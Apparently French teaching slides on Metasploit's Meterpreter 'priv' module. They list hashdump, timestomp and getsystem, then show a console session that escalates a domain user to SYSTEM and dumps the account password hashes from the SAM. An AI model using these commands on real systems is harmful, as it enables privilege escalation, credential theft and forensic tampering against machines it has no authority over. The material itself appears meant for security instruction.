

# Meterpreter : module « pris »

- Trois commandes
  - hashdump
    - récupération des empreintes LM et NT de la SAM
- timestomp
  - Modification des temps d'accès à des fichiers
- getsystem
  - Élévation de privilège

# Meterpreter : module « pris »

```
meterpreter > getuid
Server username: PIPOLAND\pipo
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: AUTORITE NT\SYSTEM
meterpreter > hashdump
Administrateur:500:6aecc5b011c93b4ac9055ef02950a7db:318300b3855c6a2053a10
b5e86b64263:::
HelpAssistant:1000:6b9d9b8d4a5912b39ce4eb04281c407a:657c4427b35bc37f1ce66
22cbff53d13:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
LNSS_MONITOR_USR?":1007:aad3b435b51404eeaad3b435b51404ee:244e756525763b8b
4538b7417f2c41b6:::
pipo:1003:153e006a16b559e1aad3b435b51404ee:7c552f4a693ed73c3bb240e9313411
e4:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:b04c0ff8fc0147b1ea
903d800b69d219:::
meterpreter > █
```